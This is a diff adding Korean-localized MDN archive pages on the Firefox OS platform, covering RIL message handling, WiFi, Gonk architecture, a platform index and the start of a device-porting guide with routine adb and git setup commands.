+<pre>return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
+                           argv, argv);</pre>
+
+<p><code>onRILMessage()</code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, which processes the message bytes and chops them into parcels. Each complete parcel is then dispatched to individual handler methods as appropriate:</p>
+
+<pre class="brush:js;">handleParcel: function handleParcel(request_type, length) {
+  let method = this[request_type];
+  if (typeof method == "function") {
+    if (DEBUG) debug("Handling parcel as " + method.name);
+    method.call(this, length);
+  }
+}
+</pre>
+
+<p>This code works by getting the request type from the object, making sure it's defined as a function in the JavaScript code, then calling the method. Since ril_worker.js implements each request type in a method given the same name as the request type, this is very simple.</p>
+
+<p>In our example, <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code>, the following handler is called:</p>
+
+<pre class="brush:js;">RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
+  this.getCurrentCalls();
+};</pre>
+
+<p>As you see in the code above, when notification is received that the call state has changed, the state machine simply fetches the current call state by calling the <code>getCurrentCall()</code> method:</p>
+
+<pre class="brush:js;">getCurrentCalls: function getCurrentCalls() {
+  Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
+}</pre>
+
+<p>This sends a request back to <code>rild</code> to request the state of all currently active calls. The request flows back along a similar path the <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message followed, but in the opposite direction (that is, from <code>ril_worker.js</code> to <code>SystemWorkerManager</code> to <code>Ril.cpp</code>, then <code>rilproxy</code> and finally to the <code>rild</code> socket). <code>rild</code> then responds in kind, back along the same path, eventually arriving in <code>ril_worker.js</code>'s handler for the <code>REQUEST_GET_CURRENT_CALLS</code> message. And thus bidirectional communication occurs.</p>
+
+<p>The call state is then processed and compared to the previous state; if there's a change of state, ril_worker.js notifies the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> service on the main thread:</p>
+
+<pre class="brush:js;">_handleChangedCallState: function _handleChangedCallState(changedCall) {
+  let message = {type: "callStateChange",
+                 call: changedCall};
+  this.sendDOMMessage(message);
+}</pre>
+
+<p><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/RadioInterfaceLayer.js" rel="custom">dom/system/gonk/RadioInterfaceLayer.js</a>; the message is received by its <code>onmessage()</code> method:</p>
+
+<pre class="brush:js;"> onmessage: function onmessage(event) {
+   let message = event.data;
+   debug("Received message from worker: " + JSON.stringify(message));
+   switch (message.type) {
+     case "callStateChange":
+       // This one will handle its own notifications.
+       this.handleCallStateChange(message.call);
+       break;
+   ...
+</pre>
+
+<p>All this really does is dispatch the message to the content process using the Parent Process Message Manager (PPMM):</p>
+
+<pre class="brush:js;">handleCallStateChange: function handleCallStateChange(call) {
+  [some internal state updating]
+  ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
+}</pre>
+
+<p>In the content process, the message is received by <code>receiveMessage()</code> method in the <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> service, from the Child Process Message Manager (CPMM):</p>
+
+<pre class="brush:js;">receiveMessage: function receiveMessage(msg) {
+  let request;
+  debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
+  switch (msg.name) {
+    case "RIL:CallStateChanged":
+      this._deliverTelephonyCallback("callStateChanged",
+                                     [msg.json.callIndex, msg.json.state,
+                                     msg.json.number, msg.json.isActive]);
+      break;</pre>
+
+<p>This, in turn, calls the <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/nsIRILTelephonyCallback#callStateChanged()">nsIRILTelephonyCallback.callStateChanged()</a></code> methods on every registered telephony callback object. Every web application that accesses the <a href="/ko/docs/Web/API/Window/navigator/mozTelephony" title="The documentation about this has not yet been written; please consider contributing!"><code>window.navigator.mozTelephony</code></a> API has registered one such callback object that dispatches events to the JavaScript code in the web application, either as a state change of an existing call object or a new <code>incoming</code> call event.</p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
+                                          const nsAString&amp; aNumber, bool aIsActive) {
+  [...]
+
+  if (modifiedCall) {
+    // Change state.
+    modifiedCall-&gt;ChangeState(aCallState);
+
+    // See if this should replace our current active call.
+    if (aIsActive) {
+      mActiveCall = modifiedCall;
+    }
+
+    return NS_OK;
+  }
+
+  nsRefPtr&lt;TelephonyCall&gt; call =
+          TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
+  nsRefPtr&lt;CallEvent&gt; event = CallEvent::Create(call);
+  nsresult rv = event-&gt;Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
+  NS_ENSURE_SUCCESS(rv, rv);
+  return NS_OK;
+}</pre>
+
+<p>Applications can receive these events and update their user interface and so forth:</p>
+
+<pre class="brush:js;">handleEvent: function fm_handleEvent(evt) {
+  switch (evt.call.state) {
+    case 'connected':
+      this.connected();
+      break;
+    case 'disconnected':
+      this.disconnected();
+      break;
+    default:
+      break;
+  }
+}</pre>
+
+<p>Take a look at the implementation of <a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js" title="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js"><code>handleEvent()</code> in the Dialer application</a> as an extended example.</p>
+
+<h3 id="3G_data">3G data</h3>
+
+<p>There is a RIL message that initiates a "data call" to the cellular service; this enables data transfer mode in the modem. This data call ends up creating and activating a <a href="https://ko.wikipedia.org/wiki/Point-to-Point Protocol" title="Point-to-Point Protocol">Point-to-Point Protocol</a> (PPP) interface device in the Linux kernel that can be configured using the usual interfaces.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This section needs to be written.</p>
+</div>
+
+<h3 id="Related_DOM_APIs">Related DOM APIs</h3>
+
+<p>This section lists DOM APIs that are related to RIL communications.</p>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony" title="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony">Telephony API</a></li>
+ <li><a href="/en-US/docs/API/WebSMS/Introduction_to_WebSMS" title="/en-US/docs/API/WebSMS/Introduction_to_WebSMS">SMS API</a></li>
+ <li>Mobile Connection API</li>
+</ul>
+
+<h2 id="WiFi">WiFi</h2>
+
+<p>The WiFi backend for Firefox OS simply uses <code>wpa_supplicant</code> to do most of the work. That means that the backend's primary job is to simply manage the supplicant, and to do some auxiliary tasks such as loading the WiFi driver and enabling or disabling the network interface. In essence, this means that the backend is a state machine, with the states following the state of the supplicant.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Much of the interesting stuff that happens in WiFi depends deeply on possible state changes in the <code>wpa_supplicant</code> process.</p>
+</div>
+
+<p>The implementation of the WiFi component is broken up into two files:</p>
+
+<dl>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/DOMWifiManager.js" rel="custom">dom/wifi/DOMWifiManager.js</a></dt>
+ <dd>Implements the API that's exposed to web content, as defined in <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWifi.idl" title="">nsIWifi.idl</a></code>.</dd>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/WifiWorker.js" rel="custom">dom/wifi/WifiWorker.js</a></dt>
+ <dd>Implements the state machine and the code that drives the supplicant.</dd>
+</dl>
+
+<p>These two files communicate with one another using the <a href="/en-US/docs/The_message_manager" title="/en-US/docs/The_message_manager">message manager</a>. The backend listens for messages requesting certain actions, such as "associate", and responds with a message when the requested action has been completed.</p>
+
+<p>The DOM side listens for the response methods as well as several event messages that indicate state changes and information updates.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Any synchromous DOM APIs are implemented by caching data on that side of the pipe. Synchronous messages are avoided whenever possible.</p>
+</div>
+
+<h3 id="WifiWorker.js">WifiWorker.js</h3>
+
+<p>This file implements the main logic behind the WiFi interface. It runs in the chrome process (in multi-process builds) and is instantiated by the SystemWorkerManager. The file is generally broken into two sections: a giant anonymous function and <code>WifiWorker</code> (and its prototype). The anonymous function ends up being the <code>WifiManager</code> by providing a local API, including notifications for events such as connection to the supplicant and scan results being available. In general, it contains little logic and lets its sole consumer control its actions while it simply responds with the requested information and controls the details of the connection with the supplicant.</p>
+
+<p>The <code>WifiWorker</code> object sits between the <code>WifiManager</code> and the DOM. It reacts to events and forwards them to the DOM; in turn, it receives requests from the DOM and performs the appropriate actions on the supplicant. It also maintains state information about the supplicant and what it needs to do next.</p>
+
+<h3 id="DOMWifiManager.js">DOMWifiManager.js</h3>
+
+<p>This implements the DOM API, transmitting messages back and forth between callers and the actual WiFi worker. There's very little logic involved.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In order to avoid synchronous messages to the chrome process, the WiFi Manager does need to cache the state based on the received event.</p>
+</div>
+
+<p>There's a single synchronous message, which is sent at the time the DOM API is instantiated, in order to get the current state of the supplicant.</p>
+
+<h3 id="DHCP">DHCP</h3>
+
+<p>DHCP and DNS are handled by <code>dhcpcd</code>, the standard Linux DHCP client. However, it's not able to react when the network connection is lost. Because of this, Firefox OS kills and restarts <code>dhcpcd</code> each time it connects to a given wireless network.</p>
+
+<p><code>dhcpcd</code> is also responsible for setting the default route; we call into the network manager to tell the kernel about DNS servers.</p>
+
+<h2 id="Network_Manager">Network Manager</h2>
+
+<p>The Network Manager configures network interfaces opened by the 3G data and WiFi components.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This needs to be written.</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/archive/b2g_os/platform/gonk/index.html b/files/ko/archive/b2g_os/platform/gonk/index.html
new file mode 100644
index 0000000000..6482db30f1
--- /dev/null
+++ b/files/ko/archive/b2g_os/platform/gonk/index.html
@@ -0,0 +1,103 @@
+---
+title: Gonk
+slug: Archive/B2G_OS/Platform/Gonk
+translation_of: Archive/B2G_OS/Platform/Gonk
+---
+<div class="summary">
+<p>Gonk는 <a href="/ko/docs/Mozilla/Firefox_OS">Firefox OS</a> 플랫폼의 하위 레벨 운영체제이며, <a href="http://source.android.com/">안드로이드 오픈 소스 프로젝트</a>(Android Open Source Project, AOSP) 기반의 리눅스 커널과 사용자영역 하드웨어 추상 계층(userspace hardware abstraction layer, HAL)으로 이루어져 있습니다. 이 문서는 Gonk가 무엇으로 구성되어 있는지 설명하는 것을 목적으로 합니다. 전체적인 Firefox OS의 구조와 그 구조에 Gonk가 어떻게 맞추어져 있는지에 대한 내용은 <a href="/ko/docs/Mozilla/Firefox_OS/Architecture">Firefox OS architecture</a>를 참고하시기 바랍니다.</p>
+</div>
+
+<h2 id="Gonk_개요">Gonk 개요</h2>
+
+<p>Gonk는 Firefox OS에서 Gecko와 하드웨어 사이의 인터페이스를 제공하는 커널 레벨의 컴포넌트입니다. Gonk는 하드웨어를 제어하고, 하드웨어의 기능을 Gecko에 구현된 Web API로 노출시킵니다. Gonk는 모바일 기기를 제어하는 동작 뒤에서 하드웨어 수준의 요청을 통해 온갖 복잡하고 세밀한 작업을 하는 "블랙박스"로 볼 수 있습니다.</p>
+
+<p>Gonk는 안드로이드로부터 가져온 (GPS와 카메라 같은) 컴포넌트들을 포함하고 있는 간단한 리눅스 배포판입니다. 그리고 Firefox OS 구조의 모든 계층과 통합하기 위해 libusb, bluez 등의 일반적인 오픈 소스 프로젝트들을 포함하도록 모질라에 의해 확장되었습니다. 이러한 설계는 Firefox OS 스마트폰의 배포를 위해 OEM이 안드로이드의 소프트웨어 컴포넌트들(디바이스 드라이버, 펌웨어, 서비스-레벨 데몬 등)을 포팅하는 것을 더 쉽게 만들어 줍니다.</p>
+
+<p>Gonk는 디바이스 포팅 계층(device porting layer)입니다: 즉 하드웨어와 Gecko 사이의 어댑터입니다. Gonk는 Gecko의 포팅 계층들과 짝을 이루는 Gecko 포트로 생각할 수 있는 비교적 간단한 리눅스 배포판입니다. - 그래서 Gonk는 <a href="/ko/docs/Gecko">Gecko</a>의 포팅 대상이 됩니다. OS X, Windows, Android에 대한 Gecko의 포트가 있는 것처럼.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 모바일 기기들은 다양한 칩셋과 하드웨어 사양을 갖기 때문에 여러 가지의 Gonk 배포판을 가질 수 있습니다.</p>
+</div>
+
+<p>Firefox OS 프로젝트는 Gonk를 통해 완전한 제어가 가능하기 때문에 다른 OS에서는 노출될 수 없는 인터페이스를 Gecko에 노출시킬 수 있습니다. 예를 들어 Gecko가 Gonk 상에서 전화(telephony)와 디스플레이 프레임 버퍼(display frame buffer)에 직접적인 접근을 할 수 있습니다.</p>
+
+<h2 id="Gonk_구조">Gonk 구조</h2>
+
+<p>각 모바일 폰은 기기를 동작시키는데 필요한 시스템 라이브러리, 디바이스 드라이버, 펌웨어에 기반한 Gonk 컴포넌트들의 특별한 조합을 가집니다. 이러한 컴포넌트들은 OEM이 칩셋 제조사와 ODM과의 협력을 통해 결정합니다. 다음 그림은 Gonk 구현의 한 예를 보여줍니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9489/gonk-architecture.png" style="display: block; height: 329px; margin: 0px auto; width: 987px;"></p>
+
+<p>이 예는 (Gonk 구현에서 가능한 여러 구성요소들의 부분집합인) 다음의 주요 구성요소들을 보여줍니다:</p>
+
+<ul>
+ <li><strong>리눅스 커널</strong>: 안드로이드로의 라이브러리들(GPS, 카메라 등)과 그 외 오픈소스 프로젝트들(리눅스, libusb, bluez 등)을 사용합니다.</li>
+ <li><strong>라디오 인터페이스 레이어 (Radio Interface Layer, RIL):</strong> 폰의 모뎀 하드웨어(전화)와 동작합니다. 다음 두 개의 컴포넌트로 구성됩니다:
+  <ul>
+   <li><strong>rild daemon</strong>: 모뎀의 펌웨어와 통신합니다.</li>
+   <li><strong>rilProxy</strong>: rild와 b2g 프로세스 사이에서 메시지를 대행합니다.</li>
+  </ul>
+ </li>
+ <li><strong>미디어서버 프로세스(mediaserver process):</strong> 오디오 및 비디오 플레이백을 제어합니다. Gecko는 안드로이드의 RPC 방식을 통해 미디어 서버와 통신합니다.</li>
+ <li><strong>netd 프로세스</strong>: 하드웨어의 네트워크 인터페이스(Wi-fi)와 직접 동작하는 네트워크 데몬입니다</li>
+ <li><strong>블루투스 등:</strong> 블루투스와 다른 서비스-레벨 데몬들은 하드웨어 기능에 대한 접근을 제공합니다.</li>
+</ul>
+
+<p>Gonk는 또한 Firefox OS의 Gecko 계층인 b2g 프로세스를 시작하고 관리하고 종료합니다. b2g 프로세스는 Gonk안에서 서비스-레벨 데몬들의 클라이언트로 동작합니다. 서비스-레벨 데몬들은 하드웨어와 직접 동작하며 폰에 있는 하드웨어 기능을 Gecko에 노출시킵니다. Gecko는 이러한 데몬들과 프로세스간 통신(interprocess communication)을 통해 대화합니다. 이 컴포넌트들은 요청에 대한 명령과 프로토콜을 서로 주고받고, 서비스를 제공합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Gonk 구조에 대한 보다 상세한 설명은 <a href="/ko/docs/Mozilla/Firefox_OS/Architecture">Firefox OS architecture guide</a>를 참고하시기 바랍니다.</p>
+</div>
+
+<h2 id="Gonk_포팅하기">Gonk 포팅하기</h2>
+
+<p>Firefox OS가 안드로이드 커널 기반이기 때문에, 기존의 디바이스 드라이버, 펌웨어, 서비스 데몬들과 기타 컴포넌트들은 최소한의 작업으로 Firefox OS와 동작하도록 포팅될 수 있습니다. 만일 커스텀 컴포넌트(예, 커스텀 RIL 또는 새로운 데몬)가 필요하거나 ODM의 레퍼런스 디자인에 수정이 생겼다면 추가적인 통합과 테스팅 작업이 필요할 수는 있습니다.</p>
+
+<p>b2g에서 클라이언트는 프로세스간 통신(inter-process communication, IPC)을 통해 서비스-레벨 데몬들과 통신합니다. 클라이언트는 서비스 레벨 데몬에 소켓 연결을 시작하고, 그 연결 상에서 (서버의 요청 프로토콜을 사용하여) 요청을 제출하며, 응답을 받고, 연결을 종료합니다. OEM은 클라이언트와 서버 사이의 이러한 프로세스간 통신의 디자인과 구현을 담당합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 포팅 작업에 대한 보다 상세한 정보는 <a href="/ko/docs/Mozilla/Firefox_OS/Porting">Porting Firefox OS</a>를 참고하시기 바랍니다.</p>
+</div>
+
+<h3 id="모질라가_OEM_및_폰_제조사와_Gonk_포팅_작업을_하는_방식">모질라가 OEM 및 폰 제조사와 Gonk 포팅 작업을 하는 방식</h3>
+
+<p>모든 Gonk 구현은 모질라, OEM 및 관련 제조사(ODM, 칩셋 제조사)들 사이의 협력의 결과입니다.</p>
+
+<p>모질라는 소스 저장소(source repositories)를 제공하고 해당하는 Firefox OS 배포판의 Gonk를 위한 파일들을 지원합니다. 소스 저장소는 (조금 수정된) 기본적인 리눅스 커널과 Gecko 에 대한 연결(hooks into Gecko)을 포함하고 있습니다.</p>
+
+<p>OEM은 해당 디바이스 모델에 대한 Firefox OS 시스템 이미지의 빌드, 컴파일, 테스팅, 인증 및 배포를 담당합니다. 시스템 이미지의 Gonk 부분에 대해 OEM은 Web API 호출과 폰 하드웨어 기능들 사이의 일관적인 통합을 확보하기 위한 대부분의 작업을 담당합니다. 요구되는 작업의 형태와 범위는 폰에 사용되는 특정 칩셋과 기타 하드웨어 컴포넌트들에 많이 의존하게 됩니다.</p>
+
+<h3 id="디바이스_컴포넌트_(Device_components)">디바이스 컴포넌트 (Device components)</h3>
+
+<p>OEM은 칩셋 제조사 및 ODM과 함께 모바일 디바이스를 구동하기 위해 필요한 모든 디바이스 컴포넌트들을 제공하기 위해 협력합니다. 예를 들어, Wi-Fi 컴포넌트 제조사는 칩셋과 함께 관련 소프트웨어를 제공합니다. 컴포넌트들은 다음을 포함합니다:</p>
+
+<ul>
+ <li>드라이버(Drivers) — 모뎀(데이타 및 음성), Wi-FI, 블루투스, 디스플레이, 카메라, 오디오 등 지원되는 폰의 기능들을 위해</li>
+ <li>펌웨어(Firmware) — 몇몇 하드웨어(예, 네트워크 인터페이스 카드)는 플래시 드라이브에서 펌웨어를 로드할 수도 있습니다.</li>
+ <li>서비스-레벨 데몬들(Service-level daemons) — 다양한 하드웨어 컴포넌트들의 동작을 실행하고 관리하기 위해. 지원 라이브러리(support libraries)와 스타트업 스크립트(startup scripts)를 포함할 수 있습니다.</li>
+</ul>
+
+<h3 id="Gonk와_Gecko의_통합">Gonk와 Gecko의 통합</h3>
+
+<p>OEM은 모바일 기기의 하드웨어 기능들이 Gecko에 구현된 Web API에 올바르고 온전하게 노출되도록 보장해야 합니다. 이것은 다음을 포함합니다.</p>
+
+<ul>
+ <li>(Gonk에서) 관련 드라이버 또는 펌웨어와 함께, 하드웨어 기능을 관리하기 위한 서비스-레벨 데몬들의 빌드와 적용</li>
+ <li>(b2g에서) 서비스-레벨 데몬들과 통신하는데 필요한 모든 방법들의 셋업</li>
+</ul>
+
+<h2 id="Gonk_소스코드">Gonk 소스코드</h2>
+
+<p><a href="https://github.com/mozilla-b2g/B2G">Github의 메인 B2G 저장소</a>는 Gonk의 저장소로 여겨질 수 있도록 다양한 기기들에 대해 공식적으로 지원되는 Gonk 포트(ports)를 포함하고 있습니다. 지원 기기들에 대한 목록은 B2G/config.sh에 있습니다.</p>
+
+<p>Gonk에 정의된 b2g 프로세스는 <a href="https://github.com/mozilla-b2g/gonk-misc">mozilla-b2g/gonk-misc</a>에서 찾을 수 있습니다. b2g 소스코드에 대한 수정은 여기서 이루어집니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/mozilla/gecko-dev">Gecko 소스</a>안에 Gecko의 Gonk 포트를 포함하는 b2g/ 폴더가 있습니다: 이 폴더는 리눅스 커널, HAL, 기타 OEM 라이브러리들로 구성됩니다.</p>
+</div>
+
+<p>매일 수행되는 Gonk 작업의 대부분은 시스템을 다른 보드에 포팅하고, 다양한 기기에서 Gecko가 잘 동작하는지 확인하는 것을 포함합니다.</p>
+
+<dl>
+</dl>
+
+<p> </p>
diff --git a/files/ko/archive/b2g_os/platform/index.html b/files/ko/archive/b2g_os/platform/index.html
new file mode 100644
index 0000000000..ae5425436e
--- /dev/null
+++ b/files/ko/archive/b2g_os/platform/index.html
@@ -0,0 +1,99 @@
+---
+title: The Firefox OS platform
+slug: Archive/B2G_OS/Platform
+tags:
+  - B2G
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Platform
+---
+<p>The Firefox OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on Firefox OS, if you're working on developing or porting the platform—or are simply curious—the following documentation may be of interest to you.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation about the Firefox OS platform</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Introduction" title="en-US/docs/Mozilla/Firefox_OS/Introduction">Introduction to Firefox OS</a></dt>
+          <dd>
+            Introductory information about what Firefox OS is and how it works.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS/Building and installing Boot to Gecko">Building and installing Firefox OS</a></dt>
+          <dd>
+            A guide to building Firefox OS and installing it on your compatible device. This guide also covers building the Firefox OS emulator, for running Firefox OS on a computer.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt>
+          <dd>
+            Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt>
+          <dd>
+            Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt>
+          <dd>
+            Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt>
+          <dd>
+            A chart of which features are available in which types of Firefox OS builds.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt>
+          <dd>
+            An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt>
+          <dd>
+            An overview of the application model on Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing">Testing Firefox OS</a></dt>
+          <dd>
+            A guide to testing Firefox OS, including information about creating automated tests.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Porting" title="/en-US/docs/Mozilla/Firefox_OS/Porting">Porting Firefox OS</a></dt>
+          <dd>
+            Information about how to port Firefox OS to new devices.</dd>
+          <dt>
+            <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt>
+          <dd>
+            How to customize the build and execution of Firefox OS by changing the <code>.userconfig</code> file.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
+        <p>If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!</p>
+        <ul>
+          <li>Consult the Boot to Gecko project forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> 웹 Feed</a></li>
+</ul></li>
+        </ul>
+        <ul>
+          <li>Ask your question on Mozilla's Boot to Gecko IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+        <br>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+          <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+          <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+          <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+        </ul>
+        <h2 class="Tools" id="Resources">Resources</h2>
+        <ul>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
+          <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/archive/b2g_os/porting/index.html b/files/ko/archive/b2g_os/porting/index.html
new file mode 100644
index 0000000000..e850181405
--- /dev/null
+++ b/files/ko/archive/b2g_os/porting/index.html
@@ -0,0 +1,121 @@
+---
+title: Boot to Gecko를 Porting하는 방법
+slug: Archive/B2G_OS/Porting
+translation_of: Archive/B2G_OS/Porting_B2G_OS/basics
+---
+<p>Boot to Gecko (Firefox OS)는 <a href="http://www.android.com/" title="http://www.android.com/">Android</a>로부터 파생된 커널을 사용하고, 그 위애 Gecko 기반의 UI가 올라갑니다. 이 페이지는 새로운 타겟에 운영 체제를 어떻게 porting하는지에 대한 기본적인 guide를 제공합니다.</p>
+<p>이 guide는 이미 Android가 수행되는 새로운 타겟에 porting하는 것을 가정하고 있습니다. 만약 Android 이외에 또 다른 타겟에 porting하려고 하면, 또 다른 업무들이 추가되어야 합니다.</p>
+<h2 id="Set_up_your_build_system">Set up your build system</h2>
+<p>The first step is to configure your build system; you can follow the guide in <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
+<h2 id="Create_a_local_backup_of_the_original_Android_system">Create a local backup of the original Android system</h2>
+<p>Next, you should back up your Android device before you start nuking it with your test builds of B2G. In addition, some of these bits will be needed by the build and install process.</p>
+<pre>mkdir my_device_backup
+cd my_device_backup
+adb pull /system system</pre>
+<h2 id="Clone_the_B2G_repositories">Clone the B2G repositories</h2>
+<p>The first step is to clone the B2G repository as well as the repository with the manifests.</p>
+<pre>git clone https://github.com/mozilla-b2g/B2G.git
+git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre>
+<h2 id="Add_a_new_device_to_config.sh">Add a new device to config.sh</h2>
+<p>The next step is to add a new device to <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> in the B2G repository;  you can use the existing ones as a template. This basically involves providing the instructions for fetching the correct files to do the build.</p>
+<h2 id="Create_a_manifest_for_the_new_device">Create a manifest for the new device</h2>
+<p>Now you need to add a manifest file for the new device. Refer to one of the existing manifests for a template. You can use the <a href="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml" title="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml">hamachi</a> manifest a reference. Once done, you should add and commit your new manifest to your local b2g-manifest repository:</p>
+<pre>git add my-new-device.xml
+git commit
+</pre>
+<p>Next, you will want the <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> file to use your local b2g-manifest repository instead of the official one. To achieve this, change the values of the GITREPO and BRANCH variables in the <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> file to the location of your local repository and desired branch, for example:</p>
+<pre><span class="nv">GITREPO</span><span class="o">=</span><span class="k">${</span><span class="nv">GITREPO</span><span class="k">:-</span><span class="s2">"file:///home/yourname/b2g-manifest"</span><span class="k">}</span>
+<span class="nv">BRANCH</span><span class="o">=</span><span class="k">${</span><span class="nv">BRANCH</span><span class="k">:-master</span><span class="k">}</span></pre>
